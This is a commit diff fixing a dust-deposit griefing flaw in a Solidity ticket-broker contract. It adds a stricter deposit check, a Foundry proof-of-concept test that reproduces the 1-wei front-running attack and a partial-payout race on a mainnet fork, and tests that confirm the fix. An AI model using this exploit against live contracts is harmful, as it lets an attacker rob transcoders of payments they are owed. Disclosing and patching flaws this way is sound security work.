fix: Winning ticket dust griefing

contracts/pm/mixins/MixinTicketBrokerCore.sol

@@ -106,7 +106,9 @@ abstract contract MixinTicketBrokerCore is MixinContractRegistry, MReserve, MTic
 
     /**
      * @notice Redeems a winning ticket that has been signed by a sender and reveals the
-     recipient recipientRand that corresponds to the recipientRandHash included in the ticket
+     * recipient recipientRand that corresponds to the recipientRandHash included in the ticket.
+     * The sender's deposit and reserve combined must fully cover the ticket face value,
+     * otherwise the call reverts and the ticket is not consumed.
      * @param _ticket Winning ticket to be redeemed in order to claim payment
      * @param _sig Sender's signature over the hash of `_ticket`
      * @param _recipientRand The preimage for the recipientRandHash included in `_ticket`
@@ -125,8 +127,11 @@ abstract contract MixinTicketBrokerCore is MixinContractRegistry, MReserve, MTic
 
         // Require sender to be locked
         require(isLocked(sender), "sender is unlocked");
-        // Require either a non-zero deposit or non-zero reserve for the sender
-        require(sender.deposit > 0 || remainingReserve(_ticket.sender) > 0, "sender deposit and reserve are zero");
+        // Require sender deposit and reserve to fully cover the ticket face value
+        require(
+            sender.deposit.add(remainingReserve(_ticket.sender)) >= _ticket.faceValue,
+            "sender deposit and reserve insufficient to cover ticket face value"
+        );
 
         // Mark ticket as used to prevent replay attacks involving redeeming
         // the same winning ticket multiple times

src/test/TicketBrokerDustDepositGriefingFix.sol

@@ -0,0 +1,109 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.9;
+
+import "./TicketBrokerDustDepositGriefingPoC.sol";
+import { TicketBroker } from "contracts/pm/TicketBroker.sol";
+
+// forge test --match-contract TicketBrokerDustDepositGriefingFix --fork-url <ARB_MAINNET_RPC_URL> -vvv
+contract TicketBrokerDustDepositGriefingFix is TicketBrokerDustDepositGriefingPoC {
+    function _upgradeTicketBroker() internal {
+        TicketBroker newTicketBrokerTarget = new TicketBroker(address(CONTROLLER));
+
+        stageAndExecuteOne(
+            address(CONTROLLER),
+            0,
+            abi.encodeWithSelector(
+                CONTROLLER.setContractInfo.selector,
+                keccak256(abi.encodePacked("TicketBrokerTarget")),
+                address(newTicketBrokerTarget),
+                bytes20(0)
+            )
+        );
+    }
+
+    function testFixDustDepositGriefing() public {
+        _upgradeTicketBroker();
+
+        (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, 0);
+        assertEq(TICKET_BROKER.getReserveInfo(sender).fundsRemaining, 0);
+
+        (MTicketBrokerCore.Ticket memory ticket, bytes memory sig, uint256 rand) = _createSignedTicket(
+            victimTranscoder,
+            sender,
+            1 ether
+        );
+
+        CHEATS.prank(attacker);
+        TICKET_BROKER.fundDepositAndReserveFor{ value: 1 wei }(sender, 1 wei, 0);
+
+        (info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, 1 wei);
+
+        CHEATS.prank(victimTranscoder);
+        CHEATS.expectRevert("sender deposit and reserve insufficient to cover ticket face value");
+        TICKET_BROKER.redeemWinningTicket(ticket, sig, rand);
+
+        assertFalse(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket)));
+    }
+
+    function testFixRaceConditionPartialPayout() public {
+        _upgradeTicketBroker();
+
+        address anotherTranscoder = BONDING_MANAGER.getNextTranscoderInPool(victimTranscoder);
+        uint256 faceValue = 1 ether;
+
+        CHEATS.prank(sender);
+        TICKET_BROKER.fundDepositAndReserve{ value: faceValue + faceValue / 2 }(faceValue + faceValue / 2, 0);
+
+        (MTicketBrokerCore.Ticket memory ticket1, bytes memory sig1, uint256 rand1) = _createSignedTicket(
+            anotherTranscoder,
+            sender,
+            faceValue
+        );
+        (MTicketBrokerCore.Ticket memory ticket2, bytes memory sig2, uint256 rand2) = _createSignedTicket(
+            victimTranscoder,
+            sender,
+            faceValue
+        );
+
+        CHEATS.expectEmit(true, true, true, true);
+        emit WinningTicketTransfer(sender, anotherTranscoder, faceValue);
+        CHEATS.prank(anotherTranscoder);
+        TICKET_BROKER.redeemWinningTicket(ticket1, sig1, rand1);
+
+        (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, faceValue / 2);
+
+        CHEATS.prank(victimTranscoder);
+        CHEATS.expectRevert("sender deposit and reserve insufficient to cover ticket face value");
+        TICKET_BROKER.redeemWinningTicket(ticket2, sig2, rand2);
+
+        assertFalse(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket2)));
+    }
+
+    function testNormalRedemption() public {
+        _upgradeTicketBroker();
+
+        uint256 faceValue = 1 ether;
+
+        CHEATS.prank(sender);
+        TICKET_BROKER.fundDepositAndReserve{ value: faceValue }(faceValue, 0);
+
+        (MTicketBrokerCore.Ticket memory ticket, bytes memory sig, uint256 rand) = _createSignedTicket(
+            victimTranscoder,
+            sender,
+            faceValue
+        );
+
+        CHEATS.expectEmit(true, true, true, true);
+        emit WinningTicketTransfer(sender, victimTranscoder, faceValue);
+        CHEATS.prank(victimTranscoder);
+        TICKET_BROKER.redeemWinningTicket(ticket, sig, rand);
+
+        assertTrue(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket)));
+
+        (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, 0);
+    }
+}

src/test/TicketBrokerDustDepositGriefingPoC.sol

@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.9;
+
+import "./base/GovernorBaseTest.sol";
+import "contracts/pm/TicketBroker.sol";
+import "contracts/pm/mixins/MixinTicketBrokerCore.sol";
+import "contracts/pm/mixins/interfaces/MTicketBrokerCore.sol";
+import "contracts/rounds/RoundsManager.sol";
+import "contracts/bonding/BondingManager.sol";
+
+// forge test --match-contract TicketBrokerDustDepositGriefingPoC --fork-url <ARB_MAINNET_RPC_URL> -vvv
+contract TicketBrokerDustDepositGriefingPoC is GovernorBaseTest {
+    TicketBroker public immutable TICKET_BROKER;
+    RoundsManager public immutable ROUNDS_MANAGER;
+    BondingManager public immutable BONDING_MANAGER;
+
+    event WinningTicketTransfer(address indexed sender, address indexed recipient, uint256 amount);
+
+    constructor() {
+        TICKET_BROKER = TicketBroker(getContract("TicketBroker"));
+        ROUNDS_MANAGER = RoundsManager(getContract("RoundsManager"));
+        BONDING_MANAGER = BondingManager(getContract("BondingManager"));
+    }
+
+    uint256 senderPrivateKey = 0xb0b;
+    address sender;
+    address victimTranscoder;
+    address attacker;
+
+    function setUp() public {
+        sender = CHEATS.addr(senderPrivateKey);
+        victimTranscoder = BONDING_MANAGER.getFirstTranscoderInPool();
+        attacker = newAddr();
+        CHEATS.deal(sender, 2 ether);
+        CHEATS.deal(attacker, 0.1 ether);
+    }
+
+    function testDustDepositGriefing() public {
+        // The sender's deposit is 0
+        (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, 0);
+
+        // The sender's reserve is 0
+        assertEq(TICKET_BROKER.getReserveInfo(sender).fundsRemaining, 0);
+
+        // A valid ticket exists for the victim
+        (MTicketBrokerCore.Ticket memory ticket, bytes memory sig, uint256 rand) = _createSignedTicket(
+            victimTranscoder,
+            sender,
+            1 ether
+        );
+
+        // The attacker frontruns victim's transaction
+        CHEATS.prank(attacker);
+        TICKET_BROKER.fundDepositAndReserveFor{ value: 1 wei }(sender, 1 wei, 0);
+
+        // Sanity-check: The sender now has 1 wei deposit
+        (info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, 1 wei);
+
+        // Consequence 1: The victim now expected to receive 1 wei instead of 1 ETH
+        CHEATS.expectEmit(true, true, true, true);
+        emit WinningTicketTransfer(sender, victimTranscoder, 1 wei);
+
+        // Unchanged victim transcoder transaction
+        CHEATS.prank(victimTranscoder);
+        TICKET_BROKER.redeemWinningTicket(ticket, sig, rand);
+
+        // Consequence 2: The ticket is marked as used
+        assertTrue(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket)));
+
+        // Sanity-check: The deposit is consumed
+        (info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, 0);
+    }
+
+    function testRaceConditionPartialPayout() public {
+        address anotherTranscoder = BONDING_MANAGER.getNextTranscoderInPool(victimTranscoder);
+
+        uint256 faceValue = 1 ether;
+
+        // Sender funds 1.5x face value: enough to fully cover one ticket but not two
+        CHEATS.prank(sender);
+        TICKET_BROKER.fundDepositAndReserve{ value: faceValue + faceValue / 2 }(faceValue + faceValue / 2, 0);
+
+        (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, faceValue + faceValue / 2);
+
+        // Two valid winning tickets from the same sender to two different transcoders
+        (MTicketBrokerCore.Ticket memory ticket1, bytes memory sig1, uint256 rand1) = _createSignedTicket(
+            anotherTranscoder,
+            sender,
+            faceValue
+        );
+        (MTicketBrokerCore.Ticket memory ticket2, bytes memory sig2, uint256 rand2) = _createSignedTicket(
+            victimTranscoder,
+            sender,
+            faceValue
+        );
+
+        // Another transcoder redeems first and receives full face value
+        CHEATS.expectEmit(true, true, true, true);
+        emit WinningTicketTransfer(sender, anotherTranscoder, faceValue);
+        CHEATS.prank(anotherTranscoder);
+        TICKET_BROKER.redeemWinningTicket(ticket1, sig1, rand1);
+
+        // Deposit is now 0.5 ETH, not enough to cover the victim's ticket in full
+        (info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, faceValue / 2);
+
+        // Victim transcoder redeems second and receives only 0.5 ETH despite a valid 1 ETH ticket
+        CHEATS.expectEmit(true, true, true, true);
+        emit WinningTicketTransfer(sender, victimTranscoder, faceValue / 2);
+        CHEATS.prank(victimTranscoder);
+        TICKET_BROKER.redeemWinningTicket(ticket2, sig2, rand2);
+
+        // Ticket is permanently burned despite the partial payout
+        assertTrue(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket2)));
+        (info, ) = TICKET_BROKER.getSenderInfo(sender);
+        assertEq(info.deposit, 0);
+    }
+
+    function _createSignedTicket(
+        address _recipient,
+        address _sender,
+        uint256 _faceValue
+    )
+        internal
+        returns (
+            MTicketBrokerCore.Ticket memory,
+            bytes memory,
+            uint256
+        )
+    {
+        uint256 recipientRand = 987654321;
+        uint256 creationRound = ROUNDS_MANAGER.currentRound();
+        bytes32 blockHash = ROUNDS_MANAGER.blockHashForRound(creationRound);
+
+        MTicketBrokerCore.Ticket memory ticket = MTicketBrokerCore.Ticket({
+            recipient: _recipient,
+            sender: _sender,
+            faceValue: _faceValue,
+            winProb: type(uint256).max,
+            senderNonce: 0,
+            recipientRandHash: keccak256(abi.encodePacked(recipientRand)),
+            auxData: abi.encodePacked(creationRound, blockHash)
+        });
+
+        bytes32 ticketHash = TICKET_BROKER.getTicketHash(ticket);
+        bytes32 ethSignedHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", ticketHash));
+        (uint8 v, bytes32 r, bytes32 s) = CHEATS.sign(senderPrivateKey, ethSignedHash);
+
+        return (ticket, abi.encodePacked(r, s, v), recipientRand);
+    }
+}